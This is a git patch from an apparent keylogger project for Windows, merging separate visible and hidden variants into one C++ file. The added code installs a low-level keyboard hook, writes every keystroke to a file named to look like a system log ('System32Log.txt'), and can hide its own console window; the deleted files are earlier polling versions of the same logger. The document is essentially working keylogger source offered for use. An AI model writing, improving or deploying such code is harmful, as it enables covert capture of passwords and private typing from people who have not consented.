From 5a71fce65971cea74c456d9aa011d8e77e7ba354 Mon Sep 17 00:00:00 2001 From: Z0ckerchris Date: Sun, 22 Jan 2017 12:14:43 +0100 Subject: [PATCH] Implemented Hook (#23) rewrote code to use hooks as suggested in #17 merged files into one updated readme --- windows/README.md | 6 +- windows/klog_invisible.cpp | 73 --------------------- windows/klog_main.cpp | 127 +++++++++++++++++++++++++++++++++++++ windows/klog_visible.cpp | 74 --------------------- 4 files changed, 130 insertions(+), 150 deletions(-) delete mode 100644 windows/klog_invisible.cpp create mode 100644 windows/klog_main.cpp delete mode 100644 windows/klog_visible.cpp diff --git a/windows/README.md b/windows/README.md index 4938d0a..b67939b 100644 --- a/windows/README.md +++ b/windows/README.md @@ -1,9 +1,9 @@ ## Windows -Simply compile into an .exe, and then run. +To change visibility of the window set the "#define" in line 6 to 'visible' or 'invisible'. -There are two files; klog_visible and klog_invisible. It is pretty simple, but I will expand: +Simply compile into an .exe, and then run. -`klog_visible` is visible, and the window does not close when typing. Great for testing it out. `klog_invisible` makes the window of the logger disappear, and it also starts up hidden from view. Note that it is still visible in the task manager. +'visible' is visible, and the window does not close when typing. Great for testing it out. 'invisible' makes the window of the logger disappear, and it also starts up hidden from view. Note that it is still visible in the task manager. Both of these save the keystrokes to a .txt file when closed. diff --git a/windows/klog_invisible.cpp b/windows/klog_invisible.cpp deleted file mode 100644 index fe32b8e..0000000 --- a/windows/klog_invisible.cpp +++ /dev/null @@ -1,73 +0,0 @@ -#include -#include -#include - -using namespace std; -int Save (int key_stroke, char *file); -void Stealth(); - -int main() -{ - Stealth(); - char i; - while (1) - { - for(i = 8; i <= 190; i++) - { - if (GetAsyncKeyState(i) == -32767) - Save(i,"System32Log.txt"); - } - } - system ("PAUSE"); - return 0; -} - -int Save (int key_stroke, char *file) -{ - if ( (key_stroke == 1) || (key_stroke == 2) ) - return 0; - - FILE *OUTPUT_FILE; - OUTPUT_FILE = fopen(file, "a+"); - - cout << key_stroke << endl; - - if (key_stroke == 8) - fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); - else if (key_stroke == 13) - fprintf(OUTPUT_FILE, "%s", "\n"); - else if (key_stroke == 32) - fprintf(OUTPUT_FILE, "%s", " "); - else if (key_stroke == VK_TAB) - fprintf(OUTPUT_FILE, "%s", "[TAB]"); - else if (key_stroke == VK_SHIFT) - fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); - else if (key_stroke == VK_CONTROL) - fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); - else if (key_stroke == VK_ESCAPE) - fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); - else if (key_stroke == VK_END) - fprintf(OUTPUT_FILE, "%s", "[END]"); - else if (key_stroke == VK_HOME) - fprintf(OUTPUT_FILE, "%s", "[HOME]"); - else if (key_stroke == VK_LEFT) - fprintf(OUTPUT_FILE, "%s", "[LEFT]"); - else if (key_stroke == VK_UP) - fprintf(OUTPUT_FILE, "%s", "[UP]"); - else if (key_stroke == VK_RIGHT) - fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); - else if (key_stroke == VK_DOWN) - fprintf(OUTPUT_FILE, "%s", "[DOWN]"); - else if (key_stroke == 190 || key_stroke == 110) - fprintf(OUTPUT_FILE, "%s", "."); - fprintf(OUTPUT_FILE, "%c", key_stroke); - fclose (OUTPUT_FILE); - return 0; - HWND Stealth; - AllocConsole(); -} - -void Stealth() -{ - ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); -} diff --git a/windows/klog_main.cpp b/windows/klog_main.cpp new file mode 100644 index 0000000..8b2a5f6 --- /dev/null +++ b/windows/klog_main.cpp @@ -0,0 +1,127 @@ +#include +#include + +// defines whether the window is visible or not +// should be solved with makefile, not in this file +#define visible // (visible / invisible) + +// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally +// or you will get problems since every function uses this variable. +HHOOK _hook; + +// This struct contains the data received by the hook callback. As you see in the callback function +// it contains the thing you will need: vkCode = virtual key code. +KBDLLHOOKSTRUCT kbdStruct; + +int Save(int key_stroke, char *file); + +// This is the callback function. Consider it the event that is raised when, in this case, +// a key is pressed. +LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam) +{ + if (nCode >= 0) + { + // the action is valid: HC_ACTION. + if (wParam == WM_KEYDOWN) + { + // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct. + kbdStruct = *((KBDLLHOOKSTRUCT*)lParam); + + // save to file + Save(kbdStruct.vkCode, "System32Log.txt"); + } + } + + // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops + return CallNextHookEx(_hook, nCode, wParam, lParam); +} + +void SetHook() +{ + // Set the hook and set it to use the callback function above + // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN. + // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the + // function that sets and releases the hook. + if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0))) + { + MessageBox(NULL, L"Failed to install hook!", L"Error", MB_ICONERROR); + } +} + +void ReleaseHook() +{ + UnhookWindowsHookEx(_hook); +} + +int Save(int key_stroke, char *file) +{ + if ((key_stroke == 1) || (key_stroke == 2)) + return 0; + + FILE *OUTPUT_FILE; + OUTPUT_FILE = fopen(file, "a+"); + + std::cout << key_stroke << '\n'; + + if (key_stroke == VK_BACK) + fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); + else if (key_stroke == VK_RETURN) + fprintf(OUTPUT_FILE, "%s", "\n"); + else if (key_stroke == VK_SPACE) + fprintf(OUTPUT_FILE, "%s", " "); + else if (key_stroke == VK_TAB) + fprintf(OUTPUT_FILE, "%s", "[TAB]"); + else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT) + fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); + else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL) + fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); + else if (key_stroke == VK_ESCAPE) + fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); + else if (key_stroke == VK_END) + fprintf(OUTPUT_FILE, "%s", "[END]"); + else if (key_stroke == VK_HOME) + fprintf(OUTPUT_FILE, "%s", "[HOME]"); + else if (key_stroke == VK_LEFT) + fprintf(OUTPUT_FILE, "%s", "[LEFT]"); + else if (key_stroke == VK_UP) + fprintf(OUTPUT_FILE, "%s", "[UP]"); + else if (key_stroke == VK_RIGHT) + fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); + else if (key_stroke == VK_DOWN) + fprintf(OUTPUT_FILE, "%s", "[DOWN]"); + else if (key_stroke == 190 || key_stroke == 110) + fprintf(OUTPUT_FILE, "%s", "."); + else + fprintf(OUTPUT_FILE, "%c", key_stroke); + + // NOTE: Numpad-Keys seem to print as lowercase letters + + fclose(OUTPUT_FILE); + return 0; +} + +void Stealth() +{ + #ifdef visible + ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window + #endif // visible + + #ifdef invisible + ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window + #endif // invisible +} + +void main() +{ + // visibility of window + Stealth(); + + // Set the hook + SetHook(); + + // loop to keep the console application running. + MSG msg; + while (GetMessage(&msg, NULL, 0, 0)) + { + } +} diff --git a/windows/klog_visible.cpp b/windows/klog_visible.cpp deleted file mode 100644 index 91bf0dd..0000000 --- a/windows/klog_visible.cpp +++ /dev/null @@ -1,74 +0,0 @@ -// note that this program will be visible. Use `klog_invisible.cpp` to get the hidden one. - -#include -#include -#include - -using namespace std; -int Save (int key_stroke, char *file); -void Stealth(); - -int main() -{ - Stealth(); - char i; - while (1) - { - for(i = 8; i <= 190; i++) - { - if (GetAsyncKeyState(i) == -32767) - Save (i,"System32Log.txt"); - } - } - system ("PAUSE"); - return 0; -} - -int Save (int key_stroke, char *file) -{ - if ( (key_stroke == 1) || (key_stroke == 2) ) - return 0; - - FILE *OUTPUT_FILE; - OUTPUT_FILE = fopen(file, "a+"); - - cout << key_stroke << endl; - - if (key_stroke == 8) - fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); - else if (key_stroke == 13) - fprintf(OUTPUT_FILE, "%s", "\n"); - else if (key_stroke == 32) - fprintf(OUTPUT_FILE, "%s", " "); - else if (key_stroke == VK_TAB) - fprintf(OUTPUT_FILE, "%s", "[TAB]"); - else if (key_stroke == VK_SHIFT) - fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); - else if (key_stroke == VK_CONTROL) - fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); - else if (key_stroke == VK_ESCAPE) - fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); - else if (key_stroke == VK_END) - fprintf(OUTPUT_FILE, "%s", "[END]"); - else if (key_stroke == VK_HOME) - fprintf(OUTPUT_FILE, "%s", "[HOME]"); - else if (key_stroke == VK_LEFT) - fprintf(OUTPUT_FILE, "%s", "[LEFT]"); - else if (key_stroke == VK_UP) - fprintf(OUTPUT_FILE, "%s", "[UP]"); - else if (key_stroke == VK_RIGHT) - fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); - else if (key_stroke == VK_DOWN) - fprintf(OUTPUT_FILE, "%s", "[DOWN]"); - else if (key_stroke == 190 || key_stroke == 110) - fprintf(OUTPUT_FILE, "%s", "."); - else - fprintf(OUTPUT_FILE, "%s", &key_stroke); - fclose (OUTPUT_FILE); - return 0; -} - -void Stealth() -{ - ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); -}